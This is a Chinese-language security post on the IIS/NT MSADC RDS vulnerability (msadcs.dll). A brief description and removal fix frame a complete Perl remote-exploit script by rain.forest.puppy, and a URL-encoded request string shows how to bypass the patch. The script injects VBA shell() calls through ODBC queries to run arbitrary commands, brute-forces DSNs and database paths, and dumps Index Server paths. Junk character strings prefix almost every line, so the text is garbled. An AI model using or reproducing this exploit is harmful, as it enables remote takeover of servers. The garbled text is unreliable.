IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@7n"yp*" X!g#T9kG 涉及程序:
Uf+%W;} Microsoft NT server
Q&bM\;Ml ]e@Oiq 描述:
Pk)1WK7E 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
QP J4~ \dQNLLg/ 详细:
S|+o-[e8O 如果你没有时间读详细内容的话,就删除:
8}| (0mC c:\Program Files\Common Files\System\Msadc\msadcs.dll
|P}y,pNQ 有关的安全问题就没有了。
u,4eCxYE$ UW
EV^ &"x 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
JqiP>4Uwm^ Owk |@6! 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
=odFmF 关于利用ODBC远程漏洞的描述,请参看:
)53y
AyP du^J2m{f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *CHX _:27]K: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
x-3\Ls[I http://www.microsoft.com/security/bulletins/MS99-025faq.asp !%0 *z Hj,A5#|=J 这里不再论述。
6)Lk-D kMd.h[X~ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
H7:] ]j1 ]OzUGXxo~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]z9=}=If 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
HyWCMK6b ?6Y?a2 | D}/vLw :v #将下面这段保存为txt文件,然后: "perl -x 文件名"
!C:$?oU |$b}L7_ #!perl
ekCC5P! #
J7p),[>I< # MSADC/RDS 'usage' (aka exploit) script
[cp+i^f #
J/*`7Pd # by rain.forest.puppy
92KRb;c #
}`~+]9< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^J;bso` # beta test and find errors!
}pu27F)& ?5
7Sk+ use Socket; use Getopt::Std;
o`*,|Nsq getopts("e:vd:h:XR", \%args);
D}X\Ca"h "#\;H$+ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
w+CA1q< lU8`F(Mn if (!defined $args{h} && !defined $args{R}) {
/I0%Z+`= print qq~
3:i@II Usage: msadc.pl -h <host> { -d <delay> -X -v }
TWFr
4- -h <host> = host you want to scan (ip or domain)
CizX<Cr} -d <seconds> = delay between calls, default 1 second
3/n5#&c\4 -X = dump Index Server path table, if available
Jz e:[MYS -v = verbose
RrQJ/ts7} -e = external dictionary file for step 5
)P|),S,;Z "LTad`]<Ro Or a -R will resume a command session
s!7y k+pr \d ~ ~; exit;}
p=}Nn( 65Yv4pNL $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
C>*u()q>4h if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#4 pB@_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
SI-Ops~e if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
OpYY{f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
AkQ~k0i}b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
kpN)zxfk %OOl'o"V{s if (!defined $args{R}){ $ret = &has_msadc;
`RL"AH:+ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
j#q-^h3H .ctw2x5W print "Please type the NT commandline you want to run (cmd /c assumed):\n"
A2jUmK.& . "cmd /c ";
q5)O%l ! $in=<STDIN>; chomp $in;
fmDCP kj $command="cmd /c " . $in ;
PxDh7{ 81
sG if (defined $args{R}) {&load; exit;}
x+@rg];m @t_=Yl2; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
W v+?TEP &try_btcustmr;
A{D];pE` Fy-t T]Q9 print "\nStep 2: Trying to make our own DSN...";
HRfYl,S, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
wEvVL P
m e^l%M print "\nStep 3: Trying known DSNs...";
|4 0`B% Z &known_dsn;
,wAF:7'
Qjv}$`M print "\nStep 4: Trying known .mdbs...";
9m~p0 ILh &known_mdb;
4u})+2W n8ZZ#}Nhg if (defined $args{e}){
q'Tf,a print "\nStep 5: Trying dictionary of DSN names...";
_.Uh)-yR &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%aVq+kC h q6V>zi print "Sorry Charley...maybe next time?\n";
VQ9/Gxdeo exit;
n[Y~] Fyatd ##############################################################################
sN01rtB(UT 6zuTQ^pz sub sendraw { # ripped and modded from whisker
ou{2@" sleep($delay); # it's a DoS on the server! At least on mine...
={@6{-tl my ($pstr)=@_;
;,:`1UI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+*/Zu`kzX die("Socket problems\n");
z/@slT if(connect(S,pack "SnA4x8",2,80,$target)){
UJ')I`zuI select(S); $|=1;
A@{PZ print $pstr; my @in=<S>;
PP33i@G select(STDOUT); close(S);
@YTaSz$L return @in;
9 X`Sm}i } else { die("Can't connect...\n"); }}
a'yK~;+_9 SbrecZ ##############################################################################
dk4CpN x\G'kEd sub make_header { # make the HTTP request
h^(*Tv-! my $msadc=<<EOT
dn$!& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
= x)-u8P User-Agent: ACTIVEDATA
DAr1C+Dy
Host: $ip
'$]97b7G Content-Length: $clen
<FkFs{(t Connection: Keep-Alive
EDl!w: l L@XM2" ADCClientVersion:01.06
y(yHt=r Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
sLT3Y}IO !9VY|&fHe --!ADM!ROX!YOUR!WORLD!
-3Z,EaG^ Content-Type: application/x-varg
O23k:=Av Content-Length: $reqlen
=wV<hg)C m'=Crei EOT
uGK.\PB$ ; $msadc=~s/\n/\r\n/g;
a![{M<Y~ return $msadc;}
,G?WAOy, tpQ(g% ##############################################################################
YWO)HsjP bI9~jWgGp sub make_req { # make the RDS request
~H<6gN<j(. my ($switch, $p1, $p2)=@_;
yg=q;Z>[~ my $req=""; my $t1, $t2, $query, $dsn;
~[nSXnPO H;k~oIsk if ($switch==1){ # this is the btcustmr.mdb query
#rQ2gx4 $query="Select * from Customers where City=" . make_shell();
2E)-M9ds $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,Np0wg0 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
k|PN0&J M; tqp8 elsif ($switch==2){ # this is general make table query
:vQrOn18p $query="create table AZZ (B int, C varchar(10))";
:zke %Yx $dsn="$p1";}
,77d(bR< CXx*_@}MU elsif ($switch==3){ # this is general exploit table query
\\H}`0m: $query="select * from AZZ where C=" . make_shell();
Ed df2;-. $dsn="$p1";}
?(F6#"/E #:U%mHT(_ elsif ($switch==4){ # attempt to hork file info from index server
)e=D(qd $query="select path from scope()";
;rGwc$?| $dsn="Provider=MSIDXS;";}
cj|80$cSA Zbt.t]N elsif ($switch==5){ # bad query
'9Xu
p $query="select";
Vl=l?A8 $dsn="$p1";}
s.QwSbw-g d_E/8R_$L $t1= make_unicode($query);
rCbDu&k] $t2= make_unicode($dsn);
SaAFz&WRl $req = "\x02\x00\x03\x00";
1POmP&fI( $req.= "\x08\x00" . pack ("S1", length($t1));
}"P|`"WW $req.= "\x00\x00" . $t1 ;
b)5uf'?- $req.= "\x08\x00" . pack ("S1", length($t2));
P90yI $req.= "\x00\x00" . $t2 ;
BWv^zi $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
S8wLmd> return $req;}
IT7wT+ $)ijN^hV ##############################################################################
U175{N%3 c&?m>2^6 sub make_shell { # this makes the shell() statement
/}fHt^2H return "'|shell(\"$command\")|'";}
gpvYb7Of0 kY|utoAP ##############################################################################
H.|#c^I (Ag16 sub make_unicode { # quick little function to convert to unicode
gw3K+P my ($in)=@_; my $out;
%G/hD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/hH return $out;}
+-U- D?-
Rn(ec ##############################################################################
< #}5IQ5`Z ~IfJwBn-i sub rdo_success { # checks for RDO return success (this is kludge)
=9boya,> my (@in) = @_; my $base=content_start(@in);
aFb==73aLw if($in[$base]=~/multipart\/mixed/){
.B]MpmpK return 1 if( $in[$base+10]=~/^\x09\x00/ );}
IS{wtuA. return 0;}
c%2QZ C ~Z?TFg
##############################################################################
j@U]'5EVB ^Y>F|;M# sub make_dsn { # this makes a DSN for us
Vvn2 Ep my @drives=("c","d","e","f");
2~1SQ.Q<RY print "\nMaking DSN: ";
Is)u } foreach $drive (@drives) {
m '|bGV print "$drive: ";
k"T}2 7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
FxtQXu-g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
mAj?>;R2$2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,j2Udn}
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
V6&!9b return 0 if $2 eq "404"; # not found/doesn't exist
Yz/md1T$ if($2 eq "200") {
.
y-D16V foreach $line (@results) {
%S@ZXf~: return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\K{0L } return 0;}
QQ*hCyw! vv3*
j&I ##############################################################################
0d"[l@UU0 &0OG*}gi sub verify_exists {
a LroD$# my ($page)=@_;
Ustv{:7v my @results=sendraw("GET $page HTTP/1.0\n\n");
4$iz4U:P return $results[0];}
uk<4+x,2) 8 S:w7Hr ##############################################################################
&Fzb6/ B:;pvW] sub try_btcustmr {
i&Tbz! my @drives=("c","d","e","f");
|mdVdD~go my @dirs=("winnt","winnt35","winnt351","win","windows");
(
iBl G C),N\@Q foreach $dir (@dirs) {
.779pT!,M print "$dir -> "; # fun status so you can see progress
j^j1 foreach $drive (@drives) {
\:# L) print "$drive: "; # ditto
qPX~@^`9 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Sz)' ogl $reqlenlen=length( "$reqlen" );
H1pO!>M $clen= 206 + $reqlenlen + $reqlen;
=)H.cuc w(*vj my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5,Jp[bw{H{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
c)TPM/>(p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*v
jmy/3 h:b)Wr ##############################################################################
N
,'GN[s B4c]}r+ sub odbc_error {
-LoZs
ru my (@in)=@_; my $base;
8`q:Gz=M\ my $base = content_start(@in);
]_mb7X> if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
=r?hgGWe $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|C;=-| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
AW%#O\N $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(Y.k8";)` return $in[$base+4].$in[$base+5].$in[$base+6];}
G\/zkrxmv print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Zw
26 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
_JzEGpeG $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Xk~D$~4< Gv!2f ##############################################################################
~NrG`
D} EnKR%Ctw sub verbose {
'NXN& { my ($in)=@_;
?/wm (uL return if !$verbose;
)0.kv2o. print STDOUT "\n$in\n";}
}>pknc? 8O5s`qKMYT ##############################################################################
]}<}lI9 fIx+ILs sub save {
4x=v?g& my ($p1, $p2, $p3, $p4)=@_;
%B2'~|g open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$-OA'QwB] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
BM%e0n7 close OUT;}
AP n| \ m)ky*"( ##############################################################################
. oF
&Ff/[ XV7Ex\D* sub load {
#px+;k5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
VZp5)-!\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!_]Y~[ @p=<IN>; close(IN);
O@T9x$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[N-Di" $target= inet_aton($ip) || die("inet_aton problems");
O%WIf__Q print "Resuming to $ip ...";
1![!+X:w $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
dc+>m,3$ if($p[1]==1) {
!fV+z%: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Fd%#78UEo} $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#5Q pu
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c?(4t67| if (rdo_success(@results)){print "Success!\n";}
vONasD9At else { print "failed\n"; verbose(odbc_error(@results));}}
[SjqOTon{ elsif ($p[1]==3){
jnkR}wAA if(run_query("$p[3]")){
!hA-_ print "Success!\n";} else { print "failed\n"; }}
6+#Ydii9E elsif ($p[1]==4){
f&NgS+<K$ if(run_query($drvst . "$p[3]")){
=J]&c?I print "Success!\n"; } else { print "failed\n"; }}
A9KET$i@v exit;}
.Yamc#A- >2y':fO ##############################################################################
%8RrRW A]_7}<<N sub create_table {
NlA,'`, my ($in)=@_;
oM
X $reqlen=length( make_req(2,$in,"") ) - 28;
5c@,bIl * $reqlenlen=length( "$reqlen" );
>2Y=*K,: $clen= 206 + $reqlenlen + $reqlen;
]{;gw<T my @results=sendraw(make_header() . make_req(2,$in,""));
$g^@AdE% return 1 if rdo_success(@results);
KaLzg5is my $temp= odbc_error(@results); verbose($temp);
Z\(q@3 C return 1 if $temp=~/Table 'AZZ' already exists/;
-vAC"8)S return 0;}
AmUr.ofu SpIv#? ##############################################################################
[$ubNk;!z z{%<<pZ sub known_dsn {
@f_Lp%K # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
W-$Z(Z
XL my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
")1:F> "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*l(7D(# "banner", "banners", "ads", "ADCDemo", "ADCTest");
WJ]T\DI *[Imn\hu foreach $dSn (@dsns) {
`Y0%cXi3 print ".";
m;$b'pT next if (!is_access("DSN=$dSn"));
,5P0S0*{ if(create_table("DSN=$dSn")){
[CTnXb print "$dSn successful\n";
'9%\; if(run_query("DSN=$dSn")){
k`cfG\;r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^L,K& Jd print "Something's borked. Use verbose next time\n";}}} print "\n";}
=bAx,,D# ]"pVj6O ##############################################################################
v1#otrf (fhb0i- sub is_access {
h,(26 y/s my ($in)=@_;
CmWeY$Jb $reqlen=length( make_req(5,$in,"") ) - 28;
j}#w)M $reqlenlen=length( "$reqlen" );
[DYQ"A=)d $clen= 206 + $reqlenlen + $reqlen;
Ex.yU{|c my @results=sendraw(make_header() . make_req(5,$in,""));
XMCXQs& my $temp= odbc_error(@results);
SjK verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,Y@Gyx!4 return 0;}
<q)# K$z2YJ% ##############################################################################
}t!Gey j\ZXG=j sub run_query {
>^O7 my ($in)=@_;
\Zb;'eDv $reqlen=length( make_req(3,$in,"") ) - 28;
ImA @}: $reqlenlen=length( "$reqlen" );
pj8=wc h $clen= 206 + $reqlenlen + $reqlen;
NYhB'C2 my @results=sendraw(make_header() . make_req(3,$in,""));
mupT<_Y return 1 if rdo_success(@results);
ynp 8rf my $temp= odbc_error(@results); verbose($temp);
YByLoM* return 0;}
}czrj%6 l&[O ##############################################################################
X hR4ru` gZVc 5u< sub known_mdb {
&L3M] my @drives=("c","d","e","f","g");
"6A
`
q\ my @dirs=("winnt","winnt35","winnt351","win","windows");
{aZ0; my $dir, $drive, $mdb;
#j;^\rSv- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
IM*y|UHt eB2a-, # this is sparse, because I don't know of many
(xycJ`N my @sysmdbs=( "\\catroot\\icatalog.mdb",
t <~h'U "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
>:SHV W "\\system32\\certmdb.mdb",
PhLn8jNti "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]iVcog"T pt?bWyKG my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
NCveSP "\\cfusion\\cfapps\\forums\\forums_.mdb",
HH`'*$]7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
-+-?w|}qV "\\cfusion\\cfapps\\security\\realm_.mdb",
YH$-g "\\cfusion\\cfapps\\security\\data\\realm.mdb",
53_Hl]#qZ "\\cfusion\\database\\cfexamples.mdb",
pR<`H' "\\cfusion\\database\\cfsnippets.mdb",
SV4E0c> "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
p;a,#IJu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
v{RZJ^1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
#{0HYg?(f "\\cfusion\\database\\smpolicy.mdb",
W@>% {eE "\\cfusion\\database\cypress.mdb",
&{5,:%PXw "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
sVQ|*0(J0r "\\website\\cgi-win\\dbsample.mdb",
bt SRtf "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Y!xF;a "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Fk7?xc ); #these are just
"> ypIR< foreach $drive (@drives) {
.Cv6kgB@c foreach $dir (@dirs){
8H[<X_/ke foreach $mdb (@sysmdbs) {
Y+pHd\$-4 print ".";
TT%M'5& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_IMW{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
YO`]UQ|dc if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Brw@g8w-X print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
t}a: p6D] } else { print "Something's borked. Use verbose next time\n"; }}}}}
kb%;=t2 A.F%Ycq foreach $drive (@drives) {
IuDS*/Sx foreach $mdb (@mdbs) {
?Rb9|`6 print ".";
T}Tp$.gB if(create_table($drv . $drive . $dir . $mdb)){
3=#<X-); print "\n" . $drive . $dir . $mdb . " successful\n";
E#RDqL*J if(run_query($drv . $drive . $dir . $mdb)){
xH4m| print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
xa'*P=<)C' } else { print "Something's borked. Use verbose next time\n"; }}}}
q~Hn-5H4Q }
Xxj-
6i 8bGd} ( ##############################################################################
%X]jaX7 E*&vy sub hork_idx {
Ha#=(9. print "\nAttempting to dump Index Server tables...\n";
Ng&%o print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ejKucEgD $reqlen=length( make_req(4,"","") ) - 28;
F~ty!(c $reqlenlen=length( "$reqlen" );
@)F )S7 $clen= 206 + $reqlenlen + $reqlen;
eSn+ B;
my @results=sendraw2(make_header() . make_req(4,"",""));
1y&\5kB if (rdo_success(@results)){
@3i\%R)n; my $max=@results; my $c; my %d;
J6"9v;V for($c=19; $c<$max; $c++){
-]Bq|qTH[( $results[$c]=~s/\x00//g;
> tS'Q`R $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*][`@@-> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
E)&I@m $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
iO{hA $d{"$1$2"}="";}
'ycJMYP8 foreach $c (keys %d){ print "$c\n"; }
9yu\ Ot } else {print "Index server doesn't seem to be installed.\n"; }}
OG~gFZr)6
p>,|50| ##############################################################################
YpHg&|Fr @)+AaC#- sub dsn_dict {
1q\\5A<V open(IN, "<$args{e}") || die("Can't open external dictionary\n");
7O2/z:$f while(<IN>){
8LJ8
}%* $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&,vcJ{. next if (!is_access("DSN=$dSn"));
,oe < if(create_table("DSN=$dSn")){
@&!ZZ
1V8 print "$dSn successful\n";
)6MfRw if(run_query("DSN=$dSn")){
?PxP% $hS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~hH REI& print "Something's borked. Use verbose next time\n";}}}
;1W6G=m print "\n"; close(IN);}
<V'@ks% lgAoJ[ ##############################################################################
5<k"K^0QS ~\SGb_2 sub sendraw2 { # ripped and modded from whisker
e4$H&'b| sleep($delay); # it's a DoS on the server! At least on mine...
T~?Ff|qFC my ($pstr)=@_;
' {OgN}'{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T"Y+m-<% die("Socket problems\n");
v~+(GqR=+ if(connect(S,pack "SnA4x8",2,80,$target)){
g'f@H-KCD print "Connected. Getting data";
D8Ic?:iX[ open(OUT,">raw.out"); my @in;
dbLZc$vPj select(S); $|=1; print $pstr;
>=lC4Tu while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
G>_*djUf close(OUT); select(STDOUT); close(S); return @in;
z
kP_6T09 } else { die("Can't connect...\n"); }}
uC vj! "!P3R1;% ##############################################################################
%`r$g[<G 5pG}Yk_(x sub content_start { # this will take in the server headers
tFn)aa~L my (@in)=@_; my $c;
+ 480 l} for ($c=1;$c<500;$c++) {
, pfG if($in[$c] =~/^\x0d\x0a/){
M^Yh|%M if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ja'T+!k else { return $c+1; }}}
CkC^'V) return -1;} # it should never get here actually
Po;W'7"Po` "Y.tht H ##############################################################################
!TH)
+zi {W`%g^Z|H sub funky {
_ye |Y my (@in)=@_; my $error=odbc_error(@in);
/N+dQe if($error=~/ADO could not find the specified provider/){
6v!`1}
~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
=?*!"&h exit;}
"cGk)s if($error=~/A Handler is required/){
2nObl'ec print "\nServer has custom handler filters (they most likely are patched)\n";
]m q|w exit;}
F<1fX 7c if($error=~/specified Handler has denied Access/){
wm@@$ print "\nServer has custom handler filters (they most likely are patched)\n";
.LZ?S"z$w exit;}}
h*a(_11 ",t?8465y ##############################################################################
**0~K" ;\ sdrfsrNvB- sub has_msadc {
]cvwIc"> my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0auYG><= my $base=content_start(@results);
>uB?rGcM return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
1\m[$Gs: return 0;}
(m}'4et~L S?LQu ########################
}&D WaO]J7 R^fPIv`q uMv,zO5 解决方案:
bWS&Yk( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
J{<X7uB 2、移除web 目录: /msadc